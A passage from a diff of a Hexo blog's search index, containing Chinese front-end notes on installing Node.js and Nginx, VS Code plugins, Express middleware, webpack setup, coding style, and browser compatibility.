href="#nodejs-安装" class="headerlink" title="nodejs 安装"></a>nodejs 安装</h2><pre><code>sudo apt-get updatesudo apt-get install nodejssudo apt-get install npm</code></pre><blockquote><p>特别注意：Ubuntu中可执行的名字是 nodejs 而不是node</p></blockquote><h3 id="额外工具-n"><a href="#额外工具-n" class="headerlink" title="额外工具 n"></a>额外工具 n</h3><p>一款管理nodejs版本的工具</p><pre><code>升级node.js到最新稳定版n stable升级node.js到最新版n latest</code></pre><h2 id="安装Nginx"><a href="#安装Nginx" class="headerlink" title="安装Nginx"></a>安装Nginx</h2><pre><code>安装gcc g++的依赖库apt-get install build-essentialapt-get install libtool安装 pcre依赖库sudo apt-get updatesudo apt-get install libpcre3 libpcre3-dev安装 zlib依赖库apt-get install zlib1g-dev安装 ssl依赖库apt-get install openssl安装Nginx（http://nginx.org）#下载最新版本：wget http://nginx.org/download/nginx-1.13.4.tar.gz（根据官网查看最新版本下载对应版本）#解压：tar -zxvf nginx-1.13.4.tar.gz#进入解压目录：cd nginx-1.13.4#配置：./configure --prefix=/usr/local/nginx #编辑nginx：make#安装nginx：sudo make install#启动nginx：先切到根目录cd /sudo /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf#查看nginx进程：ps -ef|grep nginx #查看nginx版本(根目录下执行)usr/local/nginx/sbin/nginx   -v</code></pre><p>测试nginx安装成功<br>wget <a href="http://127.0.0.1" target="_blank" rel="noopener">http://127.0.0.1</a> （会下载一个默认的html文件，直接ls查看当前目录可看到）</p>]]></content>
       
       <categories>
@@ -418,8 +418,8 @@
     
     <entry>
       <title>vscode 配置插件推荐</title>
-      <link href="/vscode-%E9%85%8D%E7%BD%AE%E6%8F%92%E4%BB%B6%E6%8E%A8%E8%8D%90.html"/>
-      <url>/vscode-%E9%85%8D%E7%BD%AE%E6%8F%92%E4%BB%B6%E6%8E%A8%E8%8D%90.html</url>
+      <link href="/2017/12/26/vscode-%E9%85%8D%E7%BD%AE%E6%8F%92%E4%BB%B6%E6%8E%A8%E8%8D%90.html"/>
+      <url>/2017/12/26/vscode-%E9%85%8D%E7%BD%AE%E6%8F%92%E4%BB%B6%E6%8E%A8%E8%8D%90.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="vscode-配置"><a href="#vscode-配置" class="headerlink" title="vscode 配置"></a>vscode 配置</h1><p></p><h2 id="auto-Open-Markdown"><a href="#auto-Open-Markdown" class="headerlink" title="auto-Open Markdown"></a>auto-Open Markdown</h2><p>markdown 预览插件</p><h2 id="beautify"><a href="#beautify" class="headerlink" title="beautify"></a>beautify</h2><p>让代码更符合规范</p><h2 id="Bracket-Pair-Colorizer"><a href="#Bracket-Pair-Colorizer" class="headerlink" title="Bracket Pair Colorizer"></a>Bracket Pair Colorizer</h2><p>括号上色插件，神器推荐</p><h2 id="vscode-ext-color-highlight"><a href="#vscode-ext-color-highlight" class="headerlink" title="vscode-ext-color-highlight"></a>vscode-ext-color-highlight</h2><p>颜色上色插件</p><h2 id="color-picker"><a href="#color-picker" class="headerlink" title="color-picker"></a>color-picker</h2><p>取色插件</p><h2 id="cssrem"><a href="#cssrem" class="headerlink" title="cssrem"></a>cssrem</h2><p>rem转换工具</p><h2 id="Debugger-for-Chrome"><a href="#Debugger-for-Chrome" class="headerlink" title="Debugger for Chrome"></a>Debugger for Chrome</h2><p>debugger插件，正在学怎么用</p><h2 id="ESlint"><a href="#ESlint" class="headerlink" title="ESlint"></a>ESlint</h2><p>代码规范插件</p><h2 id="file-icons"><a href="#file-icons" class="headerlink" title="file-icons"></a>file-icons</h2><p>图标插件</p><h2 id="git-History"><a href="#git-History" class="headerlink" title="git History"></a>git History</h2><p>查看历史修改记录插件</p><h2 id="hopscotch"><a href="#hopscotch" class="headerlink" title="hopscotch"></a>hopscotch</h2><p>可爱的代码颜色风格</p><h2 id="html-css-support"><a href="#html-css-support" class="headerlink" title="html css support"></a>html css support</h2><p>应该改支持代码提示插件吧</p><h2 id="markdownlint"><a href="#markdownlint" class="headerlink" title="markdownlint"></a>markdownlint</h2><p>markdown 语法提示插件</p><h2 id="path-autocomplete"><a href="#path-autocomplete" class="headerlink" title="path autocomplete"></a>path autocomplete</h2><p>路径补全插件</p><h2 id="react-native-tools"><a href="#react-native-tools" class="headerlink" title="react native tools"></a>react native tools</h2><p>暂时没用上</p><h2 id="react-native"><a href="#react-native" class="headerlink" title="react-native"></a>react-native</h2><p>也没用上</p><h2 id="settings-sync"><a href="#settings-sync" class="headerlink" title="settings sync"></a>settings sync</h2><p>插件备份工具，神器</p><h2 id="background"><a href="#background" class="headerlink" title="background"></a>background</h2><p>一款美化插件配置如下：</p><pre><code class="js">&quot;background.useDefault&quot;: false,    &quot;background.enabled&quot;: true,    &quot;background.customImages&quot;: [        &quot;file:///Users/mac/Desktop/improve/1.jpg&quot;    ],    &quot;background.style&quot;: {        &quot;opacity&quot;: 0.1,        &quot;width&quot;: &quot;1600px&quot;,        &quot;height&quot;: &quot;1150px&quot;    }</code></pre><blockquote><p>ps: 超级超级吃 CPU 慎用！！</p></blockquote>]]></content>
       
       <categories>
@@ -439,8 +439,8 @@
     
     <entry>
       <title>learn express</title>
-      <link href="/learn-express.html"/>
-      <url>/learn-express.html</url>
+      <link href="/2017/12/20/learn-express.html"/>
+      <url>/2017/12/20/learn-express.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="深入了解express"><a href="#深入了解express" class="headerlink" title="深入了解express"></a>深入了解express</h2><h3 id="构建一个-express-实例"><a href="#构建一个-express-实例" class="headerlink" title="构建一个 express 实例"></a>构建一个 express 实例</h3><blockquote><p>cnpm i express-generator -g</p></blockquote><h3 id="目录结构"><a href="#目录结构" class="headerlink" title="目录结构"></a>目录结构</h3><pre><code>.├── app.js├── bin│   └── www├── package.json├── public│   ├── images│   ├── javascripts│   └── stylesheets│       └── style.css├── routes│   ├── index.js│   └── users.js└── views    ├── error.jade    ├── index.jade    └── layout.jade7 directories, 9 files</code></pre><h3 id="中间件"><a href="#中间件" class="headerlink" title="中间件"></a>中间件</h3><h4 id="应用级中间件"><a href="#应用级中间件" class="headerlink" title="应用级中间件"></a>应用级中间件</h4><pre><code>&lt;!-- 没有挂载路径 --&gt;app.use(function (req, res, next) {    ...    next()}, function (req, res, next) {  console.log(&#39;Request Type:&#39;, req.method);  next();})&lt;!-- 挂载路径的中间件 --&gt;app.use(&#39;/user/&#39;, function(req, res, next){    ...    next()})路由和句柄函数，处理get（post）请求app.get(&#39;/&#39;, function() {    res.send(&#39;USER&#39;)})</code></pre><h4 id="路由级中间件"><a href="#路由级中间件" class="headerlink" title="路由级中间件"></a>路由级中间件</h4><blockquote><p>var app = express()<br>var router = express.Router()<br><code>`</code><br>和上面类似，只是写法不同<br>router.use(‘/‘, function(req, res, next) {<br>    …</p></blockquote><pre><code>next()</code></pre><p>})</p><!-- 此处理是在同一个文件夹下 --><p>app.use(‘/‘, router)</p><pre><code>#### 错误处理中间件</code></pre><p>app.use(function (err, req, res, next) {<br>  console.error(err.stack);<br>  res.status(500).send(‘Something broke!’);<br>});</p><pre><code>#### 内置中间件&gt; 唯一内置中间件：express.static()* dotfiles    是否对外输出文件名以点（.）开头的文件。        可选值为 “allow”、“deny” 和 “ignore”     默认：ignore* etag    是否启用 etag 生成    默认：true* extensions    设置文件扩展名备份选项    默认：[]* index    发送目录索引文件，设置为 false 禁用目录索引。    Mixed    默认：“index.html”* lastModified    设置 Last-Modified 头为文件在操作系统上的最后修改日期。可能值为 true 或 false。        默认：true* maxAge    以毫秒或者其字符串格式设置 Cache-Control 头的 max-age 属性。    默认：0* redirect    当路径为目录时，重定向至 “/”。        默认：true* setHeaders    设置 HTTP 头以提供文件的函数。    Function     </code></pre><p>app.use(express.static(‘public’, options));</p><pre><code>#### 第三方中间件##### cookie-parser用于解析 cookie 的中间件##### body-parser用于解析request body部分，并对上传内容大小作出限制</code></pre><p>app.use(bodyParser.json({ limit: ‘50mb’ }));<br>app.use(bodyParser.urlencoded({ limit: ‘50mb’, extended: true }));</p><pre><code>#### canvas </code></pre><pre><code>var base64Data = req.body.imgData;var img = new Canvas.Image;img.onload = function(){  var w = img.width;  var h = img.height;  var canvas = new Canvas(w, h);  var ctx = canvas.getContext(&#39;2d&#39;);  ctx.drawImage(img, 0, 0);  var out = fs.createWriteStream(__dirname + &#39;/crop.jpg&#39;);  var stream = canvas.createJPEGStream({    bufsize : 2048,    quality : 80  });  stream.on(&#39;data&#39;, function(chunk){    out.write(chunk);  });  stream.on(&#39;end&#39;, function(){    out.end();    res.send(&quot;上传成功！&quot;);  });}img.onerror = function(err){  res.send(err);}img.src = base64Data;</code></pre><pre><code>#### fs模块 (node自带模块)对文件执行读取和写入</code></pre><p>function(req, res, next) {<br>  if (req.body.formFile) {<br>    // 对象转换为字符串<br>    <!-- 先取出base64码 --><br>    var base64Data = req.body.formFile.replace(/^data:image\/\w+;base64,/, “”);<br>    <!-- 将base64码进行转码 --><br>    var dataBuffer = new Buffer(base64Data, ‘base64’);<br>    <!-- 将文件导出为图片格式 --><br>    fs.writeFile(“out.png”, dataBuffer, function (err) {<br>      if (err) {<br>        res.send(err);<br>      } else {<br>        res.send(“保存成功！”);<br>      }<br>    });<br>  }<br>}<br><code>`</code></p>]]></content>
       
       <categories>
@@ -460,8 +460,8 @@
     
     <entry>
       <title>urlMaker</title>
-      <link href="/urlMaker.html"/>
-      <url>/urlMaker.html</url>
+      <link href="/2017/12/18/urlMaker.html"/>
+      <url>/2017/12/18/urlMaker.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="urlMaker-开发流程"><a href="#urlMaker-开发流程" class="headerlink" title="urlMaker 开发流程"></a>urlMaker 开发流程</h1><h2 id="项目需求"><a href="#项目需求" class="headerlink" title="项目需求"></a>项目需求</h2><ul><li>对 url 链接中的汉字和参数进行替换</li></ul><h2 id="技术栈"><a href="#技术栈" class="headerlink" title="技术栈"></a>技术栈</h2><ul><li><p>框架：react</p><blockquote><p>注意：路由用的是4.0版</p></blockquote></li><li><p>打包工具：webpack2.0</p></li><li>代码：es6</li><li>规范：ESlint</li></ul><h2 id="前期准备"><a href="#前期准备" class="headerlink" title="前期准备"></a>前期准备</h2><ul><li>由于之前的项目中都用的是 gulp 打包，所以 webpack 是个大坑，由于没有怎么深入了解，所以对其中的一些配置有点茫然，想起之前用过 vue-cli，里面有 webpack 的配置，然后，就没有然后了……</li><li>百度是个好东西，寻找了一系列文章，个人认为简书上的《入门webpack，看这篇就够了》足矣满足大多数需求，很感谢作者的良苦用心。点赞！</li></ul><h2 id="环境配置"><a href="#环境配置" class="headerlink" title="环境配置"></a>环境配置</h2><h3 id="webpack-核心模块"><a href="#webpack-核心模块" class="headerlink" title="webpack 核心模块"></a>webpack 核心模块</h3><h4 id="entry"><a href="#entry" class="headerlink" title="entry"></a>entry</h4><p>项目唯一入口</p><blockquote><p>这里发现一个问题，就是当我打包时全部 js 在同一个文件中，文件太大了，性能体验上是非常可怕的，反正我觉得如果2g网浏览是GG了的。处理的方式是: 给入口添加一个 vendor，将依赖库写入这个 vendor 中,如果觉得依赖包太大可以写成 vendor1，vendor2.</p></blockquote><h4 id="output"><a href="#output" class="headerlink" title="output"></a>output</h4><p>项目输出文件夹 </p><blockquote><p>[name].[hash:8].js</p></blockquote><h4 id="module"><a href="#module" class="headerlink" title="module"></a>module</h4><p>html,js,css,img 处理组件</p><ul><li>css-loader</li><li>babel-loader</li><li>url-loader</li><li>style-loader</li><li>postcss-loader</li></ul><h4 id="plugins"><a href="#plugins" class="headerlink" title="plugins"></a>plugins</h4><p>其他优化插件,该处只介绍 webpack 自带的一些插件库</p><ul><li><p>webpack.BannerPlugin</p><blockquote><p>给打包文件添加一个banner</p></blockquote></li><li><p>webpack.optimize.UglifyJsPlugin</p><blockquote><p>压缩 js</p></blockquote></li><li><p>webpack.optimize.OccurrenceOrderPlugin</p><blockquote><p>添加唯一 ID</p></blockquote></li></ul><h3 id="webpack-推荐模块"><a href="#webpack-推荐模块" class="headerlink" title="webpack 推荐模块"></a>webpack 推荐模块</h3><h4 id="webpack-dev-server"><a href="#webpack-dev-server" class="headerlink" title="webpack-dev-server"></a>webpack-dev-server</h4><p>热加载插件，在 script 中的命令参数：</p><blockquote><p>–devtool eval:为你的代码创建源地址。当有任何报错的时候可以让你更加精确地定位到文件和行号<br>–progress: 显示合并代码进度<br>–colors: 在命令行中显示颜色<br>–content-base build: 指向设置的输出目录<br>–hot: 注意在 config 文件中如果已经new plugin，就不要hot了，二选一。</p></blockquote><h4 id="html-webpack-plugin"><a href="#html-webpack-plugin" class="headerlink" title="html-webpack-plugin"></a>html-webpack-plugin</h4><p>根据预先的模板实例化一个html</p><pre><code>new HtmlWebpackPlugin({        title: &#39;&#39;,        template: __dirname + &quot;/src/index.html&quot;,        minify: {            &quot;removeAttributeQuotes&quot;: true,      //  移除注释            &quot;removeComments&quot;: true,             //  移除空格            &quot;removeEmptyAttributes&quot;: true,      //  移除空白行        },        chunks: [&#39;index&#39;, &#39;vendors&#39;],   // 配置该html文件要添加的模块        // inject: &#39;body&#39;    })</code></pre><h4 id="clean-webpack-plugin"><a href="#clean-webpack-plugin" class="headerlink" title="clean-webpack-plugin"></a>clean-webpack-plugin</h4><p>删除 webpack 缓存插件</p><pre><code>new CleanWebpackPlugin(&#39;build/&#39;, {          //  清除缓存文件        root: __dirname,        verbose: true,        dry: false    })</code></pre><h4 id="extract-text-webpack-plugin"><a href="#extract-text-webpack-plugin" class="headerlink" title="extract-text-webpack-plugin"></a>extract-text-webpack-plugin</h4><p>将 css 抽离出 js</p><pre><code>test: /\.css$/,use: ExtractTextPlugin.extract({    fallback: &quot;style-loader&quot;,               // 提取 css 文件    use: [{                                 // 编译文件            loader: &quot;css-loader&quot;,            options: {                // modules: true,              // 组件化                minimize: true              // 压缩            }        }, {            loader: &quot;postcss-loader&quot;     // 将 css 添加前缀        }    ]})</code></pre><h4 id="friendly-errors-webpack-plugin"><a href="#friendly-errors-webpack-plugin" class="headerlink" title="friendly-errors-webpack-plugin"></a>friendly-errors-webpack-plugin</h4><p>友好的错误提示插件</p><h3 id="package-json-配置"><a href="#package-json-配置" class="headerlink" title="package.json 配置"></a>package.json 配置</h3><h4 id="依赖包"><a href="#依赖包" class="headerlink" title="依赖包"></a>依赖包</h4><ol><li><p>autoprefixer(需要和 postcss-loader 一起使用)</p><blockquote><p>补全 css 前缀</p></blockquote></li><li><p>babel 合集</p><pre><code>babel-corebabel-loaderbabel-plugin-react-transformbabel-preset-envbabel-preset-react</code></pre></li><li><p>react-transform-catch-errors、redbox-react</p><blockquote><p>react 报错插件</p></blockquote></li><li><p>copy-to-clipboard</p><blockquote><p>点击复制到剪贴板插件</p></blockquote></li></ol><h2 id="项目挖坑大全"><a href="#项目挖坑大全" class="headerlink" title="项目挖坑大全"></a>项目挖坑大全</h2><h3 id="关于-react-router-dom（我只能说，我的心好痛，调了3天没找到问题）"><a href="#关于-react-router-dom（我只能说，我的心好痛，调了3天没找到问题）" class="headerlink" title="关于 react-router-dom（我只能说，我的心好痛，调了3天没找到问题）"></a>关于 react-router-dom（我只能说，我的心好痛，调了3天没找到问题）</h3><ul><li>引入和使用<br><code>`</code><br>import { HashRouter as Router, Route, Link } from ‘react-router-dom’</li></ul><p>ReactDOM.render(<br>  <router><br>    <app><br>          <route path="/" exact="" component="{Home}"><br>          <route path="/goods" component="{Goods}"><br>          <route path="/detail" component="{Detail}"><br>          <route path="/active" component="{Active}"><br>    </route></route></route></route></app><br>  </router><br>  ,<br>  document.getElementById(‘app’)<br>)</p><p>在父级 APP 中记得加入 this.props.children<br><code>`</code></p><blockquote><p>路由渲染不要带着DOM一起渲染，如果可以将 router 单独作为一个组件处理，本例稍简单，并未分离出去</p></blockquote><h3 id="关于图片打包"><a href="#关于图片打包" class="headerlink" title="关于图片打包"></a>关于图片打包</h3><p>神坑啊！设置的时候是将 8K 以内的图片打包后转为 base64，所以并看不到 img 文件夹生成。。。而我判断打包成功的标准就是是否生成 img 文件夹</p>]]></content>
       
       <categories>
@@ -483,8 +483,8 @@
     
     <entry>
       <title>我个人的coding风格</title>
-      <link href="/%E6%88%91%E4%B8%AA%E4%BA%BA%E7%9A%84coding%E9%A3%8E%E6%A0%BC.html"/>
-      <url>/%E6%88%91%E4%B8%AA%E4%BA%BA%E7%9A%84coding%E9%A3%8E%E6%A0%BC.html</url>
+      <link href="/2017/11/26/%E6%88%91%E4%B8%AA%E4%BA%BA%E7%9A%84coding%E9%A3%8E%E6%A0%BC.html"/>
+      <url>/2017/11/26/%E6%88%91%E4%B8%AA%E4%BA%BA%E7%9A%84coding%E9%A3%8E%E6%A0%BC.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>我一直在探索属于我自己独一无二的代码风格</p><h2 id="识别度高的-HTML"><a href="#识别度高的-HTML" class="headerlink" title="识别度高的 HTML"></a>识别度高的 HTML</h2><h2 id="简洁大方的-CSS"><a href="#简洁大方的-CSS" class="headerlink" title="简洁大方的 CSS"></a>简洁大方的 CSS</h2><h2 id="可维护性强的-js"><a href="#可维护性强的-js" class="headerlink" title="可维护性强的 js"></a>可维护性强的 js</h2><blockquote><p>最近在看这本书，书中有很多技巧让我受益颇多</p></blockquote><h3 id="基本格式"><a href="#基本格式" class="headerlink" title="基本格式"></a>基本格式</h3><ul><li>缩进保持 4 个空格</li><li>if else 语句和上一个 if 语句中间留个空行</li><li>注释另起一行</li><li>不写分号，保持样式简洁</li><li>符号与字符串之间要空行</li><li>中文和英文之间用空格拆开</li><li>单行代码长度不超过 80 个字符</li><li>如果一行代码超过最大限度，换行的给两个默认缩进，增加辨识度</li><li>另外，换行缩进不要带符号换行</li><li>命名方式：<pre><code>  1· 方法函数是驼峰命名  2· 构造函数是首字母大写命名  3· 常量采取全大写命名  4· js 中不要省略小数点前的 0 （css可以）</code></pre></li><li>多次申明 单var</li><li>if 语句即使再短，也不要写在一行</li><li>申明在调用的前面</li><li>函数调用，参数要左右空格，以突出参数</li><li>立即执行函数若赋值给某个对象，给该函数加一个圆括号</li><li>尽量不使用 === 和 != (强转换机制)</li><li>css 和 JavaScript 的松耦合</li><li>避免使用全局变量</li><li>组件式开发时，_ 开头为私有方法，监听事件前缀为 handle，事件监听传递时，属性名用 on 开头</li><li>react组件内容编写顺序：<pre><code>  1. static 开头类的属性，eg：defaultProps， propTypes  2. 构造函数 constructor  3. getter/setter   4. 组件生命周期  5. _开头的私有方法  6. 事件监听方法  7. render* 开头的方法  8. render</code></pre></li></ul><blockquote><p>EXP(以 react 为例):<br><code>`</code><br>    //组件<br>    class Exp extends Component {<br>        //初始化<br>        static propTypes = {<br>            onSubmit: PropTypes.func<br>        }</p></blockquote><pre><code>    //构造函数    constructor () {        super()        this.state = {            test: &#39;1&#39;        }    }    // getter/setter    getter() {    }    // 即将挂载    componentWillMount () {        localStorage.getItem(&#39;username&#39;)    }    // 已挂载    componentDidMount () {    }    // 私有方法    _selfFunction (username) {        localStorage.setItem(&#39;username&#39;, username)    }    // 监听方法    function1 () {        //第一个 if 语句        if () {            var test = &#39;abc&#39;,                first = 1,                //立即执行函数                secound = (function () { return 0}())            //第二个 if 语句            if (allNumber || first || secound || third || monday || sunday ||                     satarday) {                //第三个 if 语句                if () {                    function act (ppt) {}                    act( ppt )                    }                }        } else {        }    }}</code></pre><p><code>`</code></p>]]></content>
       
       <categories>
@@ -504,8 +504,8 @@
     
     <entry>
       <title>常见的兼容性问题</title>
-      <link href="/%E5%B8%B8%E8%A7%81%E7%9A%84%E5%85%BC%E5%AE%B9%E6%80%A7%E9%97%AE%E9%A2%98.html"/>
-      <url>/%E5%B8%B8%E8%A7%81%E7%9A%84%E5%85%BC%E5%AE%B9%E6%80%A7%E9%97%AE%E9%A2%98.html</url>
+      <link href="/2017/10/22/%E5%B8%B8%E8%A7%81%E7%9A%84%E5%85%BC%E5%AE%B9%E6%80%A7%E9%97%AE%E9%A2%98.html"/>
+      <url>/2017/10/22/%E5%B8%B8%E8%A7%81%E7%9A%84%E5%85%BC%E5%AE%B9%E6%80%A7%E9%97%AE%E9%A2%98.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h4 id="html-对象获取问题"><a href="#html-对象获取问题" class="headerlink" title="html 对象获取问题"></a>html 对象获取问题</h4><ul><li>IE: document.idname (老版本)<br>解决办法：统一用 getElementById()</li></ul><h4 id="const-问题"><a href="#const-问题" class="headerlink" title="const 问题"></a>const 问题</h4><ul><li>IE：只能用 var<br>解决办法：统一用 var</li></ul><h4 id="event-x-y-问题"><a href="#event-x-y-问题" class="headerlink" title="event.x/y 问题"></a>event.x/y 问题</h4><ul><li>IE：只有 event.x/y 没有pageX/Y<br>解决办法：mX = event.x/y ? event.x/y : event.pageX/Y</li></ul><h4 id="window-location-href-问题"><a href="#window-location-href-问题" class="headerlink" title="window.location.href 问题"></a>window.location.href 问题</h4><ul><li>IE 和 Firefox1.5 以下：只能用 window.location<br>解决办法：只用window.location</li></ul><h4 id="frame-问题"><a href="#frame-问题" class="headerlink" title="frame 问题"></a>frame 问题</h4><ul><li><frame src="" id="frameId" name="frameName"><br>1、访问对象<br>IE：可以通过 id 和 name 访问<br>Firefox：只能通过 name</li></ul><h4 id="Firefox-和-IE-的父元素-parentElement-的区别"><a href="#Firefox-和-IE-的父元素-parentElement-的区别" class="headerlink" title="Firefox 和 IE 的父元素 parentElement 的区别"></a>Firefox 和 IE 的父元素 parentElement 的区别</h4><p>IE：obj.parentElement<br>Firefox：obj.parentNode<br>解决办法：都用obj.parentNode</p><h4 id="table-操作问题"><a href="#table-操作问题" class="headerlink" title="table 操作问题"></a>table 操作问题</h4><ul><li>IE：不允许在 table 和 tr 的 innerHTML 中操作，appendchild 都不行<br>解决办法：建议用框架，也可以向 js 中添加一个空行</li></ul><h4 id="对象宽高赋值问题"><a href="#对象宽高赋值问题" class="headerlink" title="对象宽高赋值问题"></a>对象宽高赋值问题</h4><ul><li>Firefox 中 obj.style.height = imgObj.height 语句无效</li></ul><h4 id="innerText-问题"><a href="#innerText-问题" class="headerlink" title="innerText 问题"></a>innerText 问题</h4><ul><li>在 Firefox 中无法使用<br>解决办法：<pre><code>if (navigator.appName.indexOf(&#39;Explorer&#39;) &gt; -1) {  document.getElementById(&#39;element&#39;).innerText = &#39;my text&#39;} else {  document.getElementById(&#39;element&#39;).textContent = &#39;my text&#39;}</code></pre></li></ul><h4 id="FF-和-IE-解释相差-2px"><a href="#FF-和-IE-解释相差-2px" class="headerlink" title="FF 和 IE 解释相差 2px"></a>FF 和 IE 解释相差 2px</h4><p>box {width:100px; border: 1px;}<br>IE：box.width = 100<br>FF：box.width = 100 + 1*2<br>解决方法：{width: 100px!important; width: 98px;}</p><h4 id="margin-加倍的问题"><a href="#margin-加倍的问题" class="headerlink" title="margin 加倍的问题"></a>margin 加倍的问题</h4><p>设置为 float 的 div 在 ie 下设置的 margin 会加倍<br>解决方法：加入 display：inline</p><h4 id="页面的最小宽度"><a href="#页面的最小宽度" class="headerlink" title="页面的最小宽度"></a>页面的最小宽度</h4><p>IE 不识别 min<br>解决方法：min-width: 600px; width: expression(document.body.clientWidth &lt; 600px ? ‘600px’ : ‘auto’)</p><h4 id="div-浮动-IE-文本产生-3px-bug"><a href="#div-浮动-IE-文本产生-3px-bug" class="headerlink" title="div 浮动 IE 文本产生 3px bug"></a>div 浮动 IE 文本产生 3px bug</h4><p>解决方法：左边浮动，右边margin-right: -3px;</p><h4 id="li-中内容超过长度以省略号显示"><a href="#li-中内容超过长度以省略号显示" class="headerlink" title="li 中内容超过长度以省略号显示"></a>li 中内容超过长度以省略号显示</h4><pre><code>li {    width:200px;    white-spave: nowrap;    text-overflow: elipsis;    overflow: hidden;}</code></pre><p>FF 不支持</p><h4 id="IE-不能换滚动条颜色"><a href="#IE-不能换滚动条颜色" class="headerlink" title="IE 不能换滚动条颜色"></a>IE 不能换滚动条颜色</h4><p>解决方法：将 body 换成 HTML<br>html {scrollbar-face-color: #fff;….}</p><h4 id="如何让层显示在-flash-之上"><a href="#如何让层显示在-flash-之上" class="headerlink" title="如何让层显示在 flash 之上"></a>如何让层显示在 flash 之上</h4><p>解决方法：将flash 设置为透明</p><h4 id="超链接访问过后-hover-就不显示的问题"><a href="#超链接访问过后-hover-就不显示的问题" class="headerlink" title="超链接访问过后 hover 就不显示的问题"></a>超链接访问过后 hover 就不显示的问题</h4><p>解决方法：注意顺序 L-V-H-A</p><h4 id="form-标签初始化"><a href="#form-标签初始化" class="headerlink" title="form 标签初始化"></a>form 标签初始化</h4><p>在 IE 中会有一点边距<br>解决方法：ul,form {margin: 0; padding: 0;}</p><h4 id="js-强制兼容"><a href="#js-强制兼容" class="headerlink" title="js 强制兼容"></a>js 强制兼容</h4><p>可以下载 js 库</p><p>#### </p>]]></content>
       
       <categories>
@@ -527,8 +527,8 @@
     
     <entry>
       <title>js中的一些方法和函数</title>
-      <link href="/js%E4%B8%AD%E7%9A%84%E4%B8%80%E4%BA%9B%E6%96%B9%E6%B3%95%E5%92%8C%E5%87%BD%E6%95%B0.html"/>
-      <url>/js%E4%B8%AD%E7%9A%84%E4%B8%80%E4%BA%9B%E6%96%B9%E6%B3%95%E5%92%8C%E5%87%BD%E6%95%B0.html</url>
+      <link href="/2017/10/22/js%E4%B8%AD%E7%9A%84%E4%B8%80%E4%BA%9B%E6%96%B9%E6%B3%95%E5%92%8C%E5%87%BD%E6%95%B0.html"/>
+      <url>/2017/10/22/js%E4%B8%AD%E7%9A%84%E4%B8%80%E4%BA%9B%E6%96%B9%E6%B3%95%E5%92%8C%E5%87%BD%E6%95%B0.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="原生-JS-一些方法和函数"><a href="#原生-JS-一些方法和函数" class="headerlink" title="原生 JS 一些方法和函数"></a>原生 JS 一些方法和函数</h2><h3 id="方法"><a href="#方法" class="headerlink" title="方法"></a>方法</h3><h4 id="subStr-start-length"><a href="#subStr-start-length" class="headerlink" title="subStr(start, length)"></a>subStr(start, length)</h4><p>可以在字符串中抽取从 start下标开始的指定数目的字符</p><blockquote><p>length可以不要，代表整个截取的长度</p></blockquote><h4 id="slice-start-end"><a href="#slice-start-end" class="headerlink" title="slice(start, end)"></a>slice(start, end)</h4><p>可以在数组 start 开始截取指定长度的数组，如果为负数就从最后一个开始，subStr也是</p><blockquote><p>end 不包括end本身 </p></blockquote><h4 id="split-separator-howmany"><a href="#split-separator-howmany" class="headerlink" title="split(separator, howmany)"></a>split(separator, howmany)</h4><p>把字符串分割成字符串数组</p><blockquote><p>separator 可以是字符串，也可以是正则，howmany 表示截取的长度不超过该数量</p></blockquote><h4 id="splice-index-howmany-item1…-itemX"><a href="#splice-index-howmany-item1…-itemX" class="headerlink" title="splice(index, howmany, item1…,itemX)"></a>splice(index, howmany, item1…,itemX)</h4><p>从数组中添加/删除项目，然后返回被删除的项目</p><blockquote><p>index 表示删除的位置，howmany 表示删除几项，如果为0表示不删除，item代表插入的项目</p></blockquote><h4 id="replace-‘old’-new"><a href="#replace-‘old’-new" class="headerlink" title="replace(‘old’, new)"></a>replace(‘old’, new)</h4><p>把字符串中老的字符替换成新的字符</p><h4 id="str1-concat-str2…strX"><a href="#str1-concat-str2…strX" class="headerlink" title="str1.concat(str2…strX)"></a>str1.concat(str2…strX)</h4><p>在原来的字符串基础上连接多个字符串，也可以连接数组</p><h4 id="str-match-Exp"><a href="#str-match-Exp" class="headerlink" title="str.match(Exp)"></a>str.match(Exp)</h4><p>找到一个或多个和正则表达式的匹配</p><h4 id="str-search-Exp"><a href="#str-search-Exp" class="headerlink" title="str.search(Exp)"></a>str.search(Exp)</h4><p>找到第一次出现正则表达式或者字符串的地方，返回该位置的下标，如果没有就返回-1</p><h4 id="toUpperCase-toLowerCase"><a href="#toUpperCase-toLowerCase" class="headerlink" title="toUpperCase() toLowerCase()"></a>toUpperCase() toLowerCase()</h4><p>字符串大小写切换</p><h4 id="trim（）"><a href="#trim（）" class="headerlink" title="trim（）"></a>trim（）</h4><p>去除字符串两边的空白</p><h4 id="arr-every-check"><a href="#arr-every-check" class="headerlink" title="arr.every(check)"></a>arr.every(check)</h4><p>判断数组中的所有项是否都符合条件</p><h4 id="arr-fill-‘str’"><a href="#arr-fill-‘str’" class="headerlink" title="arr.fill(‘str’)"></a>arr.fill(‘str’)</h4><p>用字符串固定替换数组的元素</p><h4 id="oldArr-filter-function-currentValue-index-newArr-thisValue"><a href="#oldArr-filter-function-currentValue-index-newArr-thisValue" class="headerlink" title="oldArr.filter(function(currentValue, index, newArr), thisValue)"></a>oldArr.filter(function(currentValue, index, newArr), thisValue)</h4><p>创建一个新的数组 newArr, 新数组是通过检测的所有oldArr元素的集合</p><h4 id="arr-join-separator"><a href="#arr-join-separator" class="headerlink" 